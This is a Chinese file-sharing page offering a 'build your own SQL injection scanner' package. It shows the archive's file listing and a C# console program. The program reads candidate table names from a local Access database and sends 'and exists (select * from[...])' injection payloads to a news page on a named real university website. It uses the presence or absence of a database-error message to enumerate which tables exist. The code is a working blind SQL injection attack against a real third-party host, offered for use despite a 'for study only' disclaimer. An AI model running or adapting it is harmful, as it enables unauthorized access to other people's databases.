资源简介

在CSDN上没有找到,所以将别处下载的上传过来,必须免费分享! 包括两个程序,代码尚未调试,希望有所借鉴。 代码仅供学习交流,切勿行危害安全之事,务必遵守法律法规!

资源截图

代码片段和文件信息

using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Web;
using System.IO;
using System.Data;
using System.Data.OleDb;
namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            //////////////////////////////////////
            string strconnection = “provider=microsoft.jet.oledb.4.0;“;
            strconnection += @“data source=e:\\D99.mdb“;

            OleDbConnection objconnection = new OleDbConnection(strconnection);

            objconnection.Open();
            
            /////////////////////////////////////////////////////////
            try
            {
                WebClient MyWebClient = new WebClient();

                MyWebClient.Credentials = CredentialCache.DefaultCredentials;//获取或设置用于对向Internet资源的请求进行身份验证的网络凭据。
                ///////////////////////
                //建立SQL查询
                OleDbCommand odCommand = objconnection.CreateCommand();
                //3、输入查询语句
                odCommand.CommandText = “select distinct 表段名 from 表段“;

                //建立读取
                OleDbDataReader odrReader = odCommand.ExecuteReader();

                //查询并显示数据
                while (odrReader.Read())
                {
                   // Console.WriteLine(odrReader[“表段名“].ToString());
                    Byte[] pageData = MyWebClient.DownloadData(“http://jwc.bupt.edu.cn/news.asp?id=273 and exists (select * from[“ + odrReader[“表段名“].ToString() + “])“);//从指定网站下载数据

                    string pageHtml = Encoding.Default.GetString(pageData);  //如果获取网站页面采用的是GB2312,则使用这句             
                    //string pageHtml = Encoding.UTF8.GetString(pageData); //如果获取网站页面采用的是UTF-8,则使用这句

                    //Console.WriteLine(pageHtml);//在控制台输入获取的内容
                    if (!pageHtml.Contains(“数据库出错“))
                        Console.WriteLine(odrReader[“表段名“].ToString());
                    //显示取出值(具体显示方式可由自己定义)
                  //  tbValue.Text += “\r\t“;
                  //  tbValue.Text += odrReader[“CustomerID“].ToString().PadRight(10 ‘ ‘);
                 //   tbValue.Text += odrReader[“CustomerID“].ToString();
                }

                ///////////////////////
                


              //  Response.Write(pageHtml);
                //using (StreamWriter sw = new StreamWriter(“c:\\test\\ouput.html“))//将获取的内容写入文本
                //{
                //    sw.Write(pageHtml);
                //}

                Console.ReadLine(); //让控制台暂停否则一闪而过了
                odrReader.Close();
            }

            catch (WebException webEx)
            {
                Console.WriteLine(webEx.Message.ToString());
            }
            
            objconnection.Close(); 
        }

    }
}

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2012-12-19 22:06  自己动手编写SQL注入漏洞扫描工具\
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\
     文件         895  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp.sln
     文件       11264  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp.suo
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\
     目录           0  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Debug\
     文件        5632  2005-09-23 06:56  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Debug\ConsoleApplication1.vshost.exe
     文件       16384  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Debug\pp.exe
     文件       11776  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Debug\pp.pdb
     文件        5632  2005-09-23 06:56  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Debug\pp.vshost.exe
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Release\
     文件       16384  2010-05-07 11:16  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Release\ConsoleApplication1.exe
     文件       13824  2010-05-07 11:16  自己动手编写SQL注入漏洞扫描工具\pp\pp\bin\Release\ConsoleApplication1.pdb
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\
     目录           0  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Debug\
     文件       16384  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Debug\pp.exe
     文件       11776  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Debug\pp.pdb
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Debug\TempPE\
     文件         306  2010-05-07 11:23  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\pp.csproj.FileList.txt
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Release\
     文件       16384  2010-05-07 11:16  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Release\ConsoleApplication1.exe
     文件       13824  2010-05-07 11:16  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Release\ConsoleApplication1.pdb
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\obj\Release\TempPE\
     文件        1955  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\pp.csproj
     文件         168  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\pp.csproj.user
     文件        3025  2010-05-07 11:19  自己动手编写SQL注入漏洞扫描工具\pp\pp\Program.cs
     目录           0  2010-05-07 11:22  自己动手编写SQL注入漏洞扫描工具\pp\pp\Properties\
     文件        1290  2010-05-07 10:38  自己动手编写SQL注入漏洞扫描工具\pp\pp\Properties\AssemblyInfo.cs
     目录           0  2010-03-29 17:20  自己动手编写SQL注入漏洞扫描工具\WebInjectionScanner_v3.0\
     目录           0  2010-03-29 17:20  自己动手编写SQL注入漏洞扫描工具\WebInjectionScanner_v3.0\html报告模版\
............此处省略73个文件信息

评论

共有 条评论